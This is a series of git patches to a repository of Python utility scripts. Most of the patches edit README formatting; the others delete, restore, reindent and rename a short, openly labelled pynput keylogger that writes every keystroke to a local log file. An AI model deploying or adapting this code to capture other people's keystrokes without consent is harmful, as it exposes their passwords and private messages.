From 4911fba32cb3f3cdb06e18cedb296cecfd19f8db Mon Sep 17 00:00:00 2001 From: nazmiasri95 Date: Sat, 15 Oct 2022 18:58:48 +0800 Subject: [PATCH 1/6] Updated README.md - adding table of contents --- Keylogger/script.py | 29 ----------------------------- README.md | 30 +++++++++++++++++++++++------- 2 files changed, 23 insertions(+), 36 deletions(-) delete mode 100644 Keylogger/script.py diff --git a/Keylogger/script.py b/Keylogger/script.py deleted file mode 100644 index 9a225f4..0000000 --- a/Keylogger/script.py +++ /dev/null @@ -1,29 +0,0 @@ -import pynput -from pynput.keyboard import Key, Listener - - -keys = [] - - -def on_press(key): - keys.append(key) - write_file(keys) - - -def write_file(keys): - with open('log.txt', 'w') as f: - for key in keys: - #removing '' - k = str(key).replace("'", "") - f.write(k) - #explicitly adding a space after every keystroke for readability - f.write(' ') - - -def on_release(key): - if key == Key.delete: - return False - - -with Listener(on_press = on_press, on_release = on_release) as listener: - listener.join() diff --git a/README.md b/README.md index 1669ee3..96db4dc 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,25 @@ # Awesome Python Scripts :sunglasses: PyPI [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/hastagAB/Awesome-Python-Scripts) ![GitHub stars](https://img.shields.io/github/stars/hastagAB/Awesome-Python-Scripts?style=social) + +## Contents: +- [What is this repo?](#what-is-this-repo) +- [What do we have?](#what-do-we-have) +- [How to use?](#how-to-use) +- [Contribution Guidelines](#contributions-guidelines) + - [Steps required to follow before adding any script](#steps-required-to-follow-before-adding-any-script) +- [Contribution Guidelines](#contributions-guidelines) +- [If you like the project](#if-you-like-the-project) +- [Want to connect with me?](#want-to-connect-with-me) + ## What is this repo? +--- + This repo is a compilation of some *awesome* Python scripts that automate some boring tasks or simply make our life easier...or both! :cookie: Cookies for all contributors as well~ ## What do we have: +--- So far, the following projects have been integrated to this repo: @@ -199,7 +213,8 @@ So far, the following projects have been integrated to this repo: |[Google Meet Joiner](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/google_meet_joiner)|[JohanSanSebastian](https://github.com/JohanSanSebastian)| |[Pdf to AudioBook Converter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/PdfToAudio)|[Ayesha Gull](https://github.com/ayeshag7/)| -## How to use : +## How to use: +--- - Clone/Download the directory and navigate to each folder. Or... - Simply navigate to the folder and download/copy the scripts! It's *that* simple and easy. @@ -212,7 +227,8 @@ So far, the following projects have been integrated to this repo: Remember to star the repo if you love the scripts~ :wink: -## Contribution Guidelines : +## Contribution Guidelines: +--- ### Steps required to follow before adding any script @@ -239,18 +255,18 @@ Remember to star the repo if you love the scripts~ :wink: - Only One Commit per PR is Adviced. # If you like the project: +--- + - Star the Repo - [Awesome Python Scripts](https://github.com/hastagAB/Awesome-Python-Scripts) - Follow me on GitHub - [Ayush Bhardwaj](https://github.com/hastagAB) -# Want to connect with me ? +# Want to connect with me? +--- + - [LinkedIn](https://www.linkedin.com/in/hastagab/) - [Twitter](https://twitter.com/HastagAB) - [Facebook](https://www.facebook.com/SirHastagAB) - [Instagram](https://www.instagram.com/sirhastagab/) - - - - [![](https://img.shields.io/badge/Made%20With%20❤️%20By-HastagAB-red)](https://github.com/hastagAB) From a0eb80b6f80fc16b7155da44fd37612a395c8151 Mon Sep 17 00:00:00 2001 From: nazmiasri95 Date: Sat, 15 Oct 2022 19:02:15 +0800 Subject: [PATCH 2/6] Remove unnecessary lines --- README.md | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/README.md b/README.md index 96db4dc..da4188d 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,7 @@ ## Contents: + - [What is this repo?](#what-is-this-repo) - [What do we have?](#what-do-we-have) - [How to use?](#how-to-use) @@ -12,15 +13,11 @@ - [Want to connect with me?](#want-to-connect-with-me) ## What is this repo? ---- - This repo is a compilation of some *awesome* Python scripts that automate some boring tasks or simply make our life easier...or both! :cookie: Cookies for all contributors as well~ ## What do we have: ---- - So far, the following projects have been integrated to this repo: | Project Name | Contributors | @@ -214,8 +211,6 @@ So far, the following projects have been integrated to this repo: |[Pdf to AudioBook Converter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/PdfToAudio)|[Ayesha Gull](https://github.com/ayeshag7/)| ## How to use: ---- - - Clone/Download the directory and navigate to each folder. Or... - Simply navigate to the folder and download/copy the scripts! It's *that* simple and easy. - Setup virtual environment for that scripts: @@ -228,10 +223,8 @@ So far, the following projects have been integrated to this repo: Remember to star the repo if you love the scripts~ :wink: ## Contribution Guidelines: ---- ### Steps required to follow before adding any script - - Make a **separate folder** for your script. - There shouldn't be any **spaces** between the names of the script. (Use underscore or dash Symbol) - :x: Script One @@ -255,14 +248,10 @@ Remember to star the repo if you love the scripts~ :wink: - Only One Commit per PR is Adviced. # If you like the project: ---- - - Star the Repo - [Awesome Python Scripts](https://github.com/hastagAB/Awesome-Python-Scripts) - Follow me on GitHub - [Ayush Bhardwaj](https://github.com/hastagAB) # Want to connect with me? ---- - - [LinkedIn](https://www.linkedin.com/in/hastagab/) - [Twitter](https://twitter.com/HastagAB) - [Facebook](https://www.facebook.com/SirHastagAB) From 8b2d42e210a3d3e6dc02150908067151acd1f8a5 Mon Sep 17 00:00:00 2001 From: nazmiasri95 Date: Sat, 15 Oct 2022 19:09:32 +0800 Subject: [PATCH 3/6] Added back deleted scripts --- Keylogger/scripts.py | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 Keylogger/scripts.py diff --git a/Keylogger/scripts.py b/Keylogger/scripts.py new file mode 100644 index 0000000..dca4f97 --- /dev/null +++ b/Keylogger/scripts.py @@ -0,0 +1,29 @@ +import pynput +from pynput.keyboard import Key, Listener + + +keys = [] + + +def on_press(key): + keys.append(key) + write_file(keys) + + +def write_file(keys): + with open('log.txt', 'w') as f: + for key in keys: + #removing '' + k = str(key).replace("'", "") + f.write(k) + #explicitly adding a space after every keystroke for readability + f.write(' ') + + +def on_release(key): + if key == Key.delete: + return False + + +with Listener(on_press = on_press, on_release = on_release) as listener: + listener.join() \ No newline at end of file From 4a4b533a453be3ceb4a0b56f6a451492f9212b52 Mon Sep 17 00:00:00 2001 From: nazmiasri95 Date: Sat, 15 Oct 2022 19:11:48 +0800 Subject: [PATCH 4/6] Replace tab indent with spaces --- Keylogger/scripts.py | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/Keylogger/scripts.py b/Keylogger/scripts.py index dca4f97..dacf1c4 100644 --- a/Keylogger/scripts.py +++ b/Keylogger/scripts.py @@ -6,24 +6,24 @@ keys = [] def on_press(key): - keys.append(key) - write_file(keys) + keys.append(key) + write_file(keys) def write_file(keys): - with open('log.txt', 'w') as f: - for key in keys: - #removing '' - k = str(key).replace("'", "") - f.write(k) - #explicitly adding a space after every keystroke for readability - f.write(' ') + with open('log.txt', 'w') as f: + for key in keys: + #removing '' + k = str(key).replace("'", "") + f.write(k) + #explicitly adding a space after every keystroke for readability + f.write(' ') def on_release(key): - if key == Key.delete: - return False + if key == Key.delete: + return False with Listener(on_press = on_press, on_release = on_release) as listener: - listener.join() \ No newline at end of file + listener.join() \ No newline at end of file From 5ada64f893b593698365007c10569b7239ca7c51 Mon Sep 17 00:00:00 2001 From: nazmiasri95 Date: Sat, 15 Oct 2022 19:12:23 +0800 Subject: [PATCH 5/6] Code cleanup --- Keylogger/scripts.py | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/Keylogger/scripts.py b/Keylogger/scripts.py index dacf1c4..4c5acbc 100644 --- a/Keylogger/scripts.py +++ b/Keylogger/scripts.py @@ -6,24 +6,24 @@ keys = [] def on_press(key): - keys.append(key) - write_file(keys) + keys.append(key) + write_file(keys) def write_file(keys): - with open('log.txt', 'w') as f: - for key in keys: - #removing '' - k = str(key).replace("'", "") - f.write(k) - #explicitly adding a space after every keystroke for readability - f.write(' ') + with open('log.txt', 'w') as f: + for key in keys: + #removing '' + k = str(key).replace("'", "") + f.write(k) + #explicitly adding a space after every keystroke for readability + f.write(' ') def on_release(key): - if key == Key.delete: - return False + if key == Key.delete: + return False with Listener(on_press = on_press, on_release = on_release) as listener: - listener.join() \ No newline at end of file + listener.join() \ No newline at end of file From 05bfaf578f733289a8d2db41f26b780a2c40c4ab Mon Sep 17 00:00:00 2001 From: nazmiasri95 Date: Sat, 15 Oct 2022 19:13:03 +0800 Subject: [PATCH 6/6] Rename original file --- Keylogger/{scripts.py => script.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Keylogger/{scripts.py => script.py} (100%) diff --git a/Keylogger/scripts.py b/Keylogger/script.py similarity index 100% rename from Keylogger/scripts.py rename to Keylogger/script.py